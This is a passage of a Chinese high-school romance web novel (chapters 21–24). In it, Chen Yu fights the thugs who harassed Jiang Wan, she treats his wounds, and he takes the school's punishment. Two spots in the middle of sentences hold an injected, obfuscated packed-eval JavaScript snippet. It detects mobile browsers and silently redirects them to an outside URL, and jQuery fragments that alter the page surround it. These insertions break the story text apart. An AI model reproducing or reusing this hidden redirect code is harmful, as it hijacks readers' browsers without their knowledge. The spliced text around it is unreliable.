“两……两只。” 接着,便传来两声清脆的骨骼断裂声,随即“扑通”一声,那人尖叫着倒在了地上。 “人渣。” 陈屿没再多看他一眼,径直从他身上跨过,来到姜挽面前,一把将她拉近了仔细检查。 胳膊,手背,还有脖颈,所有露在外面的地方,他都仔细检查了一遍,确保她一点都没有受伤后,才开口:“有没有事?” 姜挽摇摇头,有点还没从刚才的惊吓中缓过来。这不仅是她第一次经历这样的事情,还是第一次见到陈屿打架。以前见到的都是他在学校里的样子,今天经历了这一遭,真真实实见识到了另外一个他。 狠厉,凶猛,戾气很重,像是要置对方于死地。 “吓到了?”陈屿似乎看出了她的想法,第一次在她面前这样,他也有些心虚,“被我,还是被他?” “没有。”姜挽果断否认,对那个人,她更多的是恶心,对他,就更不会了。 “我只是在想,你怎么突然就出现了?” 不提这个还好,一提这个陈屿就生气:“我再不出现,你还不知道被欺负成什么样呢!”他话锋一转,带着质问,“你刚才出来为什么不和我说?” 他只不过和那帮人多喝了两口酒,一扭头她就不见了,里里外外找了好几遍也没找到,要不是听到她叫他,今天这事他真不敢想象会发展成什么样。 姜挽也有些后怕:“我只是想出来上个厕所,没想到会发生这种事。” 陈屿心里堵着一口气,一口叫作“惊魂未定”的气,所以他的语气格外尖锐:“你没想到?你能想到什么?白纸一张!”他像是气,但更多的是担心,“与其期望你能想到,还不如寄希望于这世上再没有这种人渣!” 姜挽知道他是担心,也就乖乖不吭声。 见她这样,陈屿又有点心疼,后悔自己刚才的话说重了:“怕不怕?” “有点,不过我想着你上次告诉我的,第一要位要先保护好自己,我也就没那么害怕了,就想着该怎么脱身。” 一瞬间,陈屿看着她,竟然说不出话来了,她竟然这样把他的话放在心上。 什么焦躁,郁闷,狂怒,刹那间全被抚平了,被她的三言两语,被她的稍有回应。 陈屿伸出手,轻而快地揉了下她的头发,出口的话很拽,可语气却温柔得不行:“还行,还不算太傻。而且,你刚才还知道叫我,这点表现也不错。” 姜挽有点不服气,小声嘀咕:“我本来就不傻好吗。” “是吗?不傻你被人拦在这里脱不了身?”陈屿垂下头来看她,两人离得很近,两双眼睛里都是彼此的倒影,“你要是能拿出和我顶嘴的这个精神头来对付地上的这个人,怕是他早被你打跑了。” “哪有,我明明什么都听你的。”话一出口,姜挽才意识到语气有点怪,不像是埋怨,倒像是撒娇。她很尴尬,于是赶紧岔开话题,故意指了指地上躺着的那个人,“他怎么办?” 陈屿看都懒得看:“不管他,我们走。” 说罢,他带着姜挽准备回包厢,刚迈步,地上突然传来一声呻吟,接着便是断断续续的一句:“你他妈……到底……是谁?” 陈屿头都没回:“北城八中,高三二班,陈屿,记住了,别找错人了。” 回到包厢,大家见他们二人一起进来,又开始起哄,陈屿也就没解释,与其说一大堆刚才发生的事情,还不如就让他们这样误会着。 姜挽也没想着解释,毕竟刚才那件事情,她是真的不知道该怎么开口。 好在起哄只是一时的,喧嚣也很快散去,今天的主角终归不是他们两个人。包厢很快又恢复热闹,切蛋糕,唱生日歌,在这里嗨完后,他们又转战火锅店。 浩浩荡荡一群人,结束时,好几个都已经喝醉了,大家互相搭伴打车回家,按就近原则分配。不过陈屿当然还是和姜挽一起,孟云程负责送尤伽。 陈屿今天也喝了不少,倒是姜挽一点没喝,所以回去的路上,基本都是她在讲话,陈屿听。聊着聊着,姜挽的手机突然响,她拿起来看了一眼,瞬间变得有些紧张。 陈屿虽然话不多,可对她的情绪感知却十分明显:“怎么了?” “是我妈妈,”姜挽一脸难色,“她说要来下车的地方接我。” 陈屿一听就懂了,酒意瞬间清醒,胸腔里绵长的,全是苦涩。这种感觉就好像他们有多么见不得光,就好像刚才一切的暧昧与美好都是假象。 他其实很不愿意,可为了她,还是不得不违心地说开口:“别怕,我不下车,你就说是拼车就好。” “不好意思。”姜挽垂着眼,她也不知道她为什么道歉。 “没事,别想太多,我能理解。” 陈屿安慰她,可不这样说,他又还能说些什么呢。 感情里,最先爱上的那个人,就好似一头被驯化了的野兽,早已没了原始的自我本能,所思所想,一言一行,不过皆围绕着对方罢了。 到了地方,果然远远便看见沈曼的身影,姜挽不敢多耽搁,忙推开门下车,甚至担心被沈曼看出来,她离开的时候连一句“再见”都没来得及和陈屿说。 沈曼给她带了外套,姜挽其实不觉得冷,可她还是穿上了。因为沈曼对她一直管得都比较严,没必要因为这点小事惹她不高兴。 趁着穿外套的功夫,姜挽回头去看,夜色茫茫,刚才停车的地方已经空了,哪里还有半分他的影子。 “呦呦,呦呦……” 耳边有声音,是沈曼在叫她,姜挽忙回头:“妈妈,怎么了?” “你想什么呢?跟你说话也没反应。”沈曼有些不悦。 “我没听见,你刚才说什么?” “我问你下午玩得怎么样。” 姜挽知道沈曼会问,所以一早便想好了说辞:“挺好的,我们先去逛了街,然后又吃了饭。” “嗯,”听她这么说,沈曼没再问,“对了,刚才下车的时候,我看车上好像还有一个人,你认识吗?” 姜挽愣了一下,随即还是照着陈屿教她的开口,“不认识,是拼车的。” “以后尽量不要拼车,这年头社会乱,不知道会遇上什么人。” “好的,我知道了。” 到了家,沈曼离开后,姜挽第一件事便是给陈屿发了一条微信过去,把她想说的,刚才没来得及说的,全都在微信里写了出来。 【刚才没和你道别,实在不好意思,你路上注意安全。】 陈屿收到这条微信的时候,正低头摆弄着手机,思考着要不要给她发一条微信过去,没想到她的消息就来了。 他唇角勾着笑,猜测:【已经到家了?】 【嗯,进屋了。】 陈屿知道她的难处,为了宽慰她,他没再继续这个话题,而是隔着车窗拍了一张照片发给她:【今晚月色真美。】 虽然不明白他为什么突然发这样一张照片过来,可姜挽放大了看,也觉得确实挺美的:【你拍照技术挺好的。】 看到她的回复,陈屿苦笑了下:【折腾这么长时间也挺累的,别想太多。早点休息吧,晚安。】 【好,晚安。】 22. 第 22 章 接下来的几天,姜挽经常会在校门口看见几个奇装异服的人,他们打扮夸张,烟不离手,嘻嘻哈哈地对着放学的学生各种打量。 一开始她也没怎么在意,直到有一天突然在那群人里看到了之前KTV的那个黄毛,姜挽当场就有一种不好的预感。 隐约中想起来,当时他们离开时,那人确实问了陈屿的信息。 她把这些告诉了陈屿,陈屿倒是没惊讶,其实这些他也注意到了,而且比她更早,只是不想让她担心才一直没告诉她。 “那现在怎么办?” 陈屿以为她被吓到了:“别害怕,一切有我呢。” “我就是担心你呢,他们那么多人,而且看起来都很不好惹的样子。” 陈屿眯眼打量着她,像是发现了什么新大陆:“所以,你是在担心我?” “是啊,我当然是在担心你啊,”姜挽觉得他好奇怪,“有什么问题吗?” “没,没问题,”陈屿侧眸,避免和她对视,也避免她看到自己脸上的欣喜,几秒后,他收拾好情绪,故意表现得严肃,“那你觉得,我应该怎么办?” 姜挽皱着眉,当真开始认真思考:“要不我们告诉老师吧?” “人家毕竟还没怎么样呢,我怎么和老韩说?” “那找个机会和他们谈谈?” “你看他们像是能谈的人吗?” 姜挽叹口气,好像还真不是,她没辙了:“那你说吧,我们该怎么办?” 这次,陈屿没答。对付这种人,就得用特别的手段,但这些,她都不需要知道。 陈屿从书桌里拿出一张数学卷子,是他妈妈今早刚拿给他的,说是托关系从哪个名师那里弄来的,专门针对高考设计的。试卷陈屿看过了,题型确实不错。 “这不是你该考虑的问题,”他把试卷放在姜挽桌上,“你好好做你的试卷,把数学成绩提上来就行。” “可是……” “没什么可是的,”陈屿故意岔开话题,“今天的几何题会比之前的都难,一会儿你不会写,别又哭哭啼啼地来找我帮忙。” “我哪有哭哭啼啼?”姜挽立马反驳。 “好吧,那我记错了,是哼哼唧唧。” “我也没有哼哼唧唧!” 见她恼了,陈屿终于停下来,作势举起双手表示投降:“好,你没有,是我记错了,快写吧。” 其他的事,他自会处理。 某天放学,因为讨论试卷的原因,陈屿和姜挽比其他人走得晚了点,送她到车站,这是他一直以来的习惯。 两人正在路上走,老远,陈屿便看见了那几个熟悉的身影。姜挽在他后面,正低头整理书包,所以还没看见。 趁她没注意到,陈屿赶紧转身,挡住她的视线:“我突然想起来有张试卷落在教室了,你去帮我拿一下吧。” “好,”姜挽一点没怀疑,“哪张?是放学前英语老师发的那张吗?” “对,就是这张。” “那我去拿,你在这等我一会儿,我马上就回来。” “不用着急,你慢慢拿就行。” 等到姜挽的身影消失在拐角,陈屿一秒冷下脸,不紧不慢地朝着那几个人走过去。 对方一见是他,迅速开始招呼其他人,很快,人群里走出来一个人影,高个子,长脸,是上次的那个黄毛。 看见陈屿,他先朝地上“啐”了一口,继而晃着那两只打着石膏的手臂,张牙舞爪地骂:“你他妈还敢来?今天我非弄死你!” 陈屿没搭理他,单肩背着书包,双手插兜,松松垮垮地站着,算是应下这战书了。 见他这样,那些人很不服气,一个小个子跳出来,因为身高不够,他只能尽力伸长脖子:“你小子真够狂的,也不打听打听我们波哥是谁!上次在KTV是你跑得快,这次你可就没那么幸运了。” “要来就来,说太多没意思。”陈屿霸气一歪头,示意他们跟他走,“走吧,换个地方。” 那群人从没见过他这种,因为摸不清底细,都有点怂,几双眼睛同时看向黄毛,等待他发话。 黄毛是见识过陈屿厉害的,可上次只有他一个,这次他们这么多人,他不信还能让这小子占了便宜。 “走!跟他去!他一个人,我们这么多人,我他妈还怕他不成?今天非干死他!” 身后不时传来骂骂咧咧的声音,陈屿都没理,直到找了处安静的巷子,他才停下脚步。 他一转身,身后那群人立即做出备战状态,有把双拳对在一起的,有破口大骂的,甚至还有去腰间摸工具的。 陈屿横扫他们一眼,随意把书包丢在地上,眉压着眼,身上顿时一股很浓的杀气:“你们是一个个来,还是一起上?” 那群人互相看了看,随即便一窝蜂涌了上来。 陈屿之前练过跆拳道,知道打架的关键就是在快、准、狠。 看着一起冲过来的四个人,他调整姿势,迅速做出判断。在最前面那个人即将靠近他时,陈屿立马抬起脚,狠狠踹向他的心口。这一脚他用了全力,那人当场便倒地不起了。 其他三个见此都有点害怕,瑟缩着不敢再往前了。黄毛急得大喊:“都他妈给我上,谁把他撂倒了,我直接给一万块!” 话音落,那三个人再没犹豫,喊叫着扑了上来。陈屿瞅准机会,按住其中一个,掐住他的脖子,拳头如雨点般落了下去。很快是第二个,第三个…… 可对方毕竟人多,他双拳难敌四手,在缠斗的过程中,也受了伤。 直到把最后一个打倒在地,他准备起身的时候,“砰”的一声,后背传来一阵闷痛,是黄毛拿了棍子砸在他身上。 陈屿动了动脖子,从地上起身,五官因为肾上腺素的飙升变得更加锐利,他猛地伸手,掐住黄毛的脖子,一把将他掼倒在地:“找死。” 手劲儿不断增大,增大,再增大,直到黄毛一张脸涨得通红,开始不停拍打他的胳膊,陈屿才松开一些:“离她远点,再不要出现在她面前,能做到吗?” “能……能……”黄毛不停喘着粗气,眼神空洞,只剩深深的恐惧。 “重复一遍。”陈屿冰冷的声音再次响起。 黄毛吓得一哆嗦:“离她……远点,再不要……出现在她面前。” “很好。”陈屿松开他,掏出纸巾擦了擦手,准备离开。 “陈屿!” 突然,身后传来一声叫喊,还有逐渐靠近的脚步声,陈屿不用回头都知道是谁。他扶了下额,暗想糟糕,本来都已经故意避开她了,没想到还是被她找了过来。 没等姜挽过来,陈屿主动走了过去,将她拦在这一片混乱之外:“怎么找到这里来了?” 姜挽刚才一路过来跑得太快,现在耳边全是自己“咚咚”的心跳和呼啸的风声,她有些喘,更多的是急:“我拿完试卷回来你就不见了,找了好久也没找到你,还是问了别人,才知道你朝这边来了。” 陈屿从她手中接过书包,轻轻拍了下她的后脑勺:“你胆子够大的,这种地方都敢找过来,以后不许了。” “知道你在我才敢过来的。”姜挽几乎是脱口而出,越过陈屿的肩膀,她看到地上躺着的几个人,眼神注意到那个黄头发的,几乎是瞬间,她一下子便明白了过来,一打五…… 她要过去看,陈屿没让。 “你有没有受伤?” 陈屿牵着她的手腕,打算先离开这个是非之地:“你现在才想起来问这个,是不是有点太晚了?” “不是,我一开始……”姜挽其实想说她本来一开始就想问的,只不过被他抢了先,问了其他的问题。可抬头间,忽然瞥见他脸颊的伤痕,这些瞬间被抛之脑后,“你受伤了?!” 陈屿有点躲着她:“没事,一点小伤,不碍事。” “怎么是小伤呢,都见血了!”姜挽不依他,硬是拉着他走出小巷,在路边的长凳上坐下。 借着手机灯光,她去看,除了他的脸颊,还有额角和手臂,最严重的是拳峰,破皮带着血,一排细小的伤口。 而这些,都是因为她。 姜挽垂下眼,眼眶很酸:“还有其他地方吗?” 陈屿对她的声音很敏感,几乎一瞬间就听出来了,叹了口气:“我真没事。” 说着,他要去看她的脸,被姜挽躲开了,只追问:“还有其他地方有伤口吗?” 她很坚持,陈屿没办法,只得答:“没了。” 可姜挽似乎不信,和他对视了几秒,突然伸手要去脱他的外套。 陈屿一把抓住她的手腕,不是拒绝,只是提醒:“这可是在外面,你想好了?” 被他这么一说,姜挽才意识到不合适,她脸颊当即便红了,只是在夜色下看不清:“那你自己检查。” 趁她不好意思,陈屿放肆欣赏她的情态,他潦草地检查了一圈:“其他地方没事,就你看到的这些。” “真的?” “真的,我还能骗你不成。” 姜挽点点头,情绪终于缓和了点:“那你在这等一会儿,我去给你买药。”跑开两步,她又重新折返回来,像是不放心,郑重交代,“你就在这里等我,哪儿都不要去。” 陈屿忍不住笑了,指了指旁边她和自己的书包:“放心吧,我跑不了。” 这个点的药店没什么人,姜挽买完药再回来,也不过才用了十几分钟而已。 拧开碘伏瓶盖,立时有一股类似于铁锈的味道传来,她倒了一小部分在瓶盖里,又拿棉签仔细蘸湿,这才递给陈屿:“先擦一下,消消毒。” 陈屿看着她,没伸手接:“擦不了,我看不见。” 姜挽看了看他脸上和额角的伤口,确实如此,这里也没有镜子:“那你先擦手上的伤口。” “这个也擦不了,手疼。” 言下之意,是让她帮忙擦。 姜挽没马上回答,她不是不愿意,只是觉得这个行为有些过于亲密了。正犹豫,旁边的陈屿突然“诶呦”叫了一声,皱着眉,像是很疼的样子。 “怎么了?是伤口疼了吗?” “是啊,你赶快帮我消毒吧。” “哦,好。”姜挽没再犹豫,朝他靠近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448268|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几分,离近了,才发现他比她高太多,没办法看清额角的伤口,“你低一点。” 陈屿很配合,也正是因为这个动作,两人的距离一下离得好近,晚风吹来,她的长发有几缕飘到他胳膊上,姜挽有些尴尬:“算了,我还是站起来给你擦吧。” “都行。”陈屿还是一如既往地配合,只不过在她看不见的地方,悄悄用指尖碰了碰刚才被她头发飘过的地方。 陈屿的伤口虽然多,好在都不是很深,简单的进行了擦拭消毒,稍严重点,破皮流血的,姜挽又仔细帮他贴好创可贴。 她做这些的时候很认真,全程眉头紧蹙,唇角抿着,像在完成一项复杂精密的手术。 陈屿看着她,不自觉笑了声。 姜挽还以为他被疼傻了:“是很疼吗?” “还……”还好已经到了嘴边,陈屿却硬生生咽了回去,“嗯,很疼。” “那我再轻一点。” “也慢一点。” “好。” 陈屿看着她,周围的天完全黑下来了,有些东西已经看不大清了。可还有另外一些东西,是不需要眼睛也能看清的。 陈屿闭上眼,清晰感受着自己此刻心脏的跳动,是为她,是为眼前这个人。 “好了。” 陈屿睁开眼:“这么快?” “你都已经疼得闭上眼了,我能不快点吗。” 陈屿:“……” “对了,这些伤口你回去打算怎么和你父母解释呢?”姜挽忧心忡忡地看着他,“毕竟这么明显,你一回家他们肯定就看到了。” “没事,”,陈屿倒是不怎么在意,“他们忙着呢,没功夫管我。” 他父母,一个从政,一个从商,两个都是事业狂,平时忙的一起吃顿饭都是奢侈,哪会注意到他。 他们家的事,姜挽也不好多问,于是边收拾东西,边开口:“时间不早了,我们回去吧。” 陈屿从凳子上起身:“我送你。” “不用了,我……” “只送到公交站。” “好吧。” 两人正准备走,路边的草丛里突然传来一阵异动,窸窸窣窣的,似乎有什么东西在动。 “什么东西?”姜挽要去看,被陈屿拦下了,他把她挡在身后,随意从地上捡了一根树枝,边拨弄着,边去看。 这个季节的草已经枯黄了,更多的是枯木枝,陈屿拿树枝试探着,找到那东西,拨开堆在它身上的树叶,月光照下来,最先映入眼帘的是一双湖水蓝的眼睛,接着才是它瘦弱的身体,原来是一只白色的小猫。 “是一只小猫。”陈屿对身后的姜挽开口。 “真的吗?”姜挽忙从他身后站出来,蹲下去,她要用手去碰,被陈屿拦下了,递给她树枝,姜挽看了看,觉得太粗糙,她没要,又从地上捡了一根更细更平滑的,轻轻碰了下小猫的身子,“还真是哎!” 她很兴奋,声音里有股质朴的天真:“不过它怎么不动呀,也不叫。” 陈屿也不知道,说实话,他对这些小动物不怎么感冒:“可能是饿了吧。” “我包里有吃的。”姜挽立马从地上起来,跑着去翻自己的包。 陈屿还是第一次见她这样,以前的她,对什么都淡淡的,不怎么表达自己的情绪,也不怎么投注自己的感情,如此情绪外露,好像还是第一次。 “喜欢小猫?” “喜欢啊,小猫多可爱啊。”姜挽已经从包里翻出来了一根火腿肠,撕开递给那只小猫,见它只是嗅了嗅,不敢吃,她便把东西放下,自己蹲远了点。 陈屿在她旁边蹲下,两人一起观察这只小猫。它先是拿爪子探了探,见没危险,又试探着嗅了嗅,最终才敢将火腿肠抓过去吃。可因为虚弱,吃起东西来也很慢,小口小口咬着。 火腿肠不大,没一会儿便吃完了。姜挽便又去书包里翻,几乎把书包翻了个底朝天才又发现了一个面包,她撕开,放在刚才的位置:“最后一个,吃完就没有了。” 路灯下,她和陈屿并排蹲着,仔细看它进食。 “它应该没受伤,只是饿了。”姜挽看得仔细,观察好久才得出这个结论。 “嗯,”陈屿眼睛看着小猫,脑袋里却想的是她,“你家里养猫吗?” “以前养过一只,但离开江城的时候送人了,现在没有。” 提到过去,她语调里有一股不舍,陈屿能听出来,他其实很想问,为什么来北城的时候没把小猫带过来,又为什么现在没养了。可他感觉她应该是不怎么想聊这个话题的,所以还是忍住了。 其实,他的感觉是对的,当初姜挽离开江城时很匆忙,很多东西都被沈曼勒令不准带,更别提一只猫了。来了这边,在舅舅家,更是得时刻注意,她想养猫,就更不可能了。 小猫吃了东西,有力气了,钻进树枝里,一溜烟就不见了。 它跑得很快,姜挽甚至没反应过来,呆呆看着它的背影虽有些不舍,可她还是起身:“它走了,我们也走吧。” 陈屿点点头,拿起两人的书包,跟在她后面离开了。 23. 第 23 章 打架的事情,陈屿的父母虽然不知道,可学校却知道了。据说是有经过的学生无意中看见了,第二天便向学校保卫处做了报告。 不管在什么地方,八卦总是传得最快的,更何况还是有关陈屿这个学校风云人物的八卦。 他可是成绩霸榜年级第一,颜值位列校草首位,常年处于女生话题中心的人物。大家都在猜,到底是什么样的原因,才能让这位天之骄子自降身段,去和那几个不入流的混混打架。 “会不会是陈屿得罪了他们,他们蓄意报复?” “不太像,你看陈屿平时那性格,那品味,像是会和那些人有交集的吗?” “那难道是因为那些人看陈屿不爽,故意找茬?” “也不应该吧,陈屿虽然平时低调,可他父母是做什么的,有什么背景,大家都还是很清楚的,一般不会有人去主动招惹他。” “那就只有一个原因了,情感纠纷,一定是因为女生……” “这更不可能,”这个假设还没说完,就被其他女生否定了,“陈屿那样的性格,怎么可能为了一个女生去做这些,再说了,学校里也没有哪个女生值得他这么做。” “就是,”有人跟着附和,“不过我听说他可是一对五,而且最后还打赢了,那场面得多帅呀,想想就兴奋!” …… 办公室里,陈屿靠窗站着,韩华坐在他对面,斑斑驳驳的树影落在他脸上,显得脸色更沉了:“我了解你,你虽然性格有时候有些懒散,可一向有分寸,说吧,这次到底为什么和那群混混打架?” “老韩,”陈屿还是那副漫不经心的站姿,耸耸肩,“不是说过了吗,没有原因,就是单纯看他们不爽。” “你少跟我吊儿郎当的,端正点!”韩华是真生气了,平常他的那些事情,他都是睁一只眼闭一只眼,可这次竟然闹到了校领导那里,他想压都压不下来了。 他扶了把眼睛,与其说是生气,不如说是担心,“你知不知道这次的事情是什么性质,打架,斗殴,严重的话是会被记大过的!你知不知道为了你这件事,我费了多大的心力!” 听到这些,陈屿端正了站姿,正色道:“老韩,对不起啊。”不为这件事,只为韩华对他的这份心。 “真觉得对不起,你就把前因后果给我说清楚!” “抱歉。”陈屿还是那句话。 韩华有点急了:“都这个时候了,到底还有什么不能说的,你不把前因后果说清楚了,我怎么和上面汇报?” “如实汇报就行。” 韩华被他气得哆嗦,打了个抖,短胡髭随之颤动:“你信不信,我把这事告诉你爸妈!” “您就是把他俩都叫来,我也还是这句话。” 生气,愤怒,不解,无可奈何。 韩华了解他的个性,一挥袖子:“我是管不了你了,你就等着挨处罚吧。” 陈屿很淡定:“行,您想怎么罚就怎么罚,我都认。” “你……”腾的一下,韩华站了起来,“你给我写检讨,三千字的检讨,明天就交上来!” “谢谢您!” 回到教室,姜挽正“翘首以盼”等着他:“班主任叫你过去是因为昨天的事吗?” “是。”陈屿点点头,没瞒她。 “那班主任怎么说?” “没怎么说,就狠狠把我骂了一顿,让我写检讨。” “怎么会这样?”姜挽很焦灼,“不行,我得去找班主任,把这件事和他解释清楚,这件事不是你的错。” 陈屿明白她的意思,正是因为明白,才不会同意她这么做:“打架的是我,被人看见举报的也是我,怎么不算我的错了?” 姜挽直直地看着他:“可你做这些,都是因为我。” 陈屿心想,原来你知道啊,可开口却故意不承认:“谁说的?” 姜挽很坚持:“就是。” “就算是吧,”陈屿忍不住笑了,一股子心甘情愿的宠劲儿,“可现在事情已经这样了,你如果再掺合进来,不仅对整件事情没有任何帮助,还会额外再增加它的复杂性。到时候学校,老师,还有那些谣言,乱七八糟的一大堆,你怎么受得了。” “那就让我默默看着你受罚吗,我做不到。” 一瞬间,心尖的地方像是被什么东西烫着了,又温又热。像是小火烤着,又仿佛被温水煮着,点点滴滴,一丝一缕都是绵延的情谊。 陈屿拿起她桌上的黑色中性笔,胡乱转着:“你真想帮我?” “嗯,真想。” “那这样,”陈屿把笔放在桌上,朝她靠近几分,“那三千字的检讨,你帮我写了吧。” “我帮你写?”姜挽有点愣。 “是啊,我作文不好,写不来这些。而且,你刚才不是说要帮我吗,这多好的一个机会啊。怎么,又不愿意了?” “没有,我不是不愿意,”姜挽是真的在认真思考,“可这样的话,写出来就是我的字,老师不会看出来吗?” “有道理,”陈屿也很认真,“那这样,你先写,写了我再抄一遍。” 姜挽:“……也行。” 两人正说着,刚才还不见人影的孟云程突然从教室门口冲了进来,直扑陈屿,没有询问,也没有安慰,而是直接埋怨:“我靠,你也太不够意思了吧!打架这种事情竟然不叫我,你还有没有把我当兄弟?” 他这话一出来,姜挽都惊呆了,这种事情,也能吃醋? 而旁边的陈屿似乎早已习惯了他这种脑回路,很是淡定:“事发突然,没来得及。” 孟云程看着他脸上的伤口,也没多和他计较,只是问:“后面还需要处理吗?需要的话,你一句话,我立马找人来给你摆平。” “不用,他们应该不敢再来了。” 孟云程点点头:“对了,还没问你是因为什么和他们产生冲突的。那些人,我们一向是没什么接触的。” 这个问题,陈屿已经不是第一次被问了,即便此刻对方是孟云程,可因为涉及到姜挽,他还是一样的回答:“没什么原因,单纯就看他们不爽罢了。” 孟云程当然不信:“我了解你,你少敷衍我。” “是吗?”陈屿挑眉,“你能这么说,就代表你还是不够了解我。” “你他妈什么毛病!”孟云程觉得他在打哑迷,骂了一句,“我真是越来越看不懂你了。” 陈屿也还毫不示弱: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448269|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “以你的智商,要是能看懂才奇怪了。” “你!”上课铃声响,孟云程骂骂咧咧地还是转了过去。 待他转过去,姜挽才开口:“连他也不能说吗?” 陈屿扫她一眼:“他那个大嘴巴,知道的越少越好。” “明白了。”姜挽觉得在这些事情上,他总是考虑得很周到。 谁知下一秒,陈屿便把矛头对准了她:“你怎么还有心思关心别人,赶紧想想检讨怎么写吧。” “马上,我现在就来写。” 这份检讨,姜挽其实当天就写完了,只是陈屿在抄写的过程中拖拖拉拉的,他一直找借口懒得抄,以至于最后交给韩华的时候已经是三天之后了。 韩华本来也就是随口一说,没想到他真会写,这会儿拿到他的报告也有点吃惊。仔细看了看,觉得这遣词造句都不错,感情真挚,态度诚恳,就更欣慰了。 “看来,让姜挽给你补习作文,还是有点用的,你这水平,现在都快赶上她了。” 陈屿低着头,心想,可不得赶上她吗,这就是她写的。 “对了,还有姜挽的数学,她的成绩我最近也关注了,也有很大的进步,”在他们这些成绩好的学生面前,韩华总是两三句便不自觉绕到学习上,“这次的事情我能帮你担下来,下次就不一定了。你以后最好老实点,把心思都给我放在学习上,争取下次月考争点气,不然我这张老脸是没法在校领导面前混了。” “老韩,您放心吧,”陈屿又恢复了之前那副懒散的模样,“我一定努力,不会让你在校领导面前丢人的。” “去,去,赶紧回去学习去。” “好嘞。” 晚上放学的时候,陈屿照例送姜挽到公交站,姜挽也知道他今天把检讨交给班主任的事儿:“老师没怀疑吧?” “没,不仅没怀疑,还夸你教的好,我作文有了很大的进步。” 姜挽脸皮可没他那么厚,听到这些,尴尬得一时竟不知该如何接这话。 “对了,他还夸你数学成绩提高了,”陈屿顺带提了一嘴,“所以咱俩这补习还是挺有用的,看来以后还得坚持下去。” “嗯。”对这个,姜挽倒是没意见。 两人很快来到车站,趁她上车前,陈屿把一个礼品袋从书包里拿出来递给她。 “什么?” “你打开就知道了。” 车还没来,姜挽便站在路边拆,刚打开袋子,一眼看见那个熟悉的盒子,她便明白了,是上次她给尤伽送的那款口红。 “这是?” “送给你的。” “为什么?” “我说过,这个颜色你也很合适。” “我是问,你为什么突然送给我?” 因为喜欢你,因为想看你开心,这些理由,都是陈屿心底最真实的想法,可他都不能说,也不敢,只能开口:“因为你帮我写检讨呗。” “其实不用的。”说不上来是松了一口气,还是有些失望,姜挽的声音很轻,在这微凉的夜里,似乎都要被风声掩盖住了。 车来了,陈屿故意忽略掉她这句话:“快上车吧,到家了说一声。” “嗯,好。” 24. 第 24 章 自从上次的打架事件后,姜挽她们再没在校门口看见过那群混混的身影,一定程度上,确实是清净了许多。 可另一方面,陈屿却因为在这次事件中的“五对一”光荣战绩,在学校女生中更受欢迎了。送情书的比以前多了,来看他的女生也增加了,每到课间,他们班的走廊就会被围得水泄不通。 更有甚者,碰不上他,就从他的身边人入手。孟云程就不用提了,整天手里就没空过,去一趟厕所,都能帮陈屿收几封情书回来。 离谱的是姜挽和尤伽,竟然也能在路上被人拦下来,要求帮忙给陈屿送情书。 对面是一个圆脸戴眼镜的小个姑娘,短头发,穿着再普通不过的校服,说话声音也文文弱弱的。乍看过去,是一个性格内向的听话好学生,可没想到,也能做出给陈屿写情书的这种行为。 据她自己说,她来自高二三班,也是学理科的。当初一进学校就暗恋陈屿,就连“学理科”这个决定,也是受他影响才选的,目的就是为了能离他更近一点。 单纯,真挚,又热烈,和其他所有怀有少女心事的女孩一样。 一瞬间,姜挽有些动容,想到自己,莫名觉得有点能理解她。姜挽不是一个爱管闲事的性格,可这会儿却准备帮忙:“要不然……” 她话说一半,突然被尤伽拦下:“学妹,不好意思,情书这种私人的东西,你还是亲自交给陈屿比较好。而且,我们这会儿还有其他的事要处理,应该没时间帮忙送这个。” 说罢,她朝姜挽眨了眨眼睛:“是吧,呦呦,我们还有东西要买,赶紧走吧。” 她这样说,姜挽当然明白了,抱歉地朝那个女生点了点头,还是跟着尤伽走了。 走远了,尤伽才开口:“我不是不想帮她送,只是陈屿的性格你也知道,送了他也不会看的。孟云程每天给他带回来多少封啊,他哪次看过,所以送了也白搭,单纯浪费时间。” “再说了,如果我们今天帮她送了,开了这个口子,那以后不就会有更多人来我们了。”尤伽有点烦,“我可不想成天做这些,帮别人跑腿。我自己的事还没着落呢,哪有心思关心别人。” 姜挽觉得她说的有道理,这会儿也觉得自己刚才是有些考虑不周了:“你说得对,如果不能坚持的话,确实一开始就不应该同意。” 她这么理性地和她讨论这个话题,尤伽倒是有些不明白了:“呦呦,每天见着这么多人给陈屿送情书,你不会觉得不舒服吗?” 姜挽不知道她是怎么跳到这个话题的,还以为她问的是会不会对她有影响这事儿:“还行,这是她们的自由,除了有时候人太多被堵住外,其他都还好。” “你是真不明白呀?”尤伽比她着急,“要是每天这么多女生在我眼皮子底下给裴思送情书,我都要被气死了。” 姜挽看她一眼,这又是哪儿跟哪儿? 见她这样,尤伽也不打算和她继续打哑迷了,她贴近姜挽,放低声音,像要说一个秘密:“其实,我觉得陈屿喜欢你。” “你别乱说。”姜挽反应很大,脸颊到耳根的位置,迅速红成一片。 “真的,我不骗你,认识他这么长时间,我还从没见他对哪个女生这么上心过,又是帮你补习,又是送你回家的,这也太贴心了。” “补习的事儿,是班主任安排的。” “是班主任安排的没错,可你想想,以陈屿那性格,要是他不愿意的话,别说是班主任了,就算是校长安排,他不想做的话也不会做呀。” 是这样吗?姜挽愣住了,她以前从没仔细思考过这件事情。 尤伽眼尖地发现她脸红了:“哎呀,呦呦,你都脸红了,该不会,你对陈屿……?” 这里来来往往都是人,姜挽忙打断她:“哎呀,你别说了,越说越没谱了。” 